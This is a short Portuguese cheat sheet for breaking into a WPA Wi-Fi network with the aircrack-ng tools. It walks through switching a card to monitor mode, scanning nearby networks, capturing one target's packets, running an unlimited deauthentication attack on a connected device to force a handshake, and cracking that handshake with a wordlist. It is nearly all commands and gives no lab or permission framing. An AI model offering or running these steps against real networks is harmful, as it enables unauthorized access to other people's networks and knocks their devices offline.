1 Verificar sua placa de rede:

airmon-ng
____________________________________________
2 Deixar sua placa de rede em modo Monitor:
airmon-ng start wlan0
_________________________________________
3 Visualizar todas as rede prximas a vc:
airodump-ng mon0
_________________________________________________________________
4Capturar pacotes da rede especifica:
airodump-ng --bssid (BSSID) -w (nome-do-seu-arquivo) -c (CH) mon0
OBS: se apareceu (fixed channel mon0: -1) entre com esse outro comando:
airodump-ng --bssid (BSSID) -w (nome-do-seu-arquivo) -c (CH) mon0 --ignored-nega
tive-one
___________________________________________________
5Atacar a rede at consegui o WPA handshake:
aireplay-ng --deauth 0 -a (BSSID) -c (STATION) mon0
OBS: se apareceu (fixed channel mon0: -1) no comando anterior faa assim:
aireplay-ng --deauth 0 -a (BSSID) -c (STATION) mon0 --ignored-negative-one
___________________________________________________________
6 Para Finalizar:
aircrack-ng -w (sua-wordlista.txt) (nome-do-seu-arquivo-01.cap)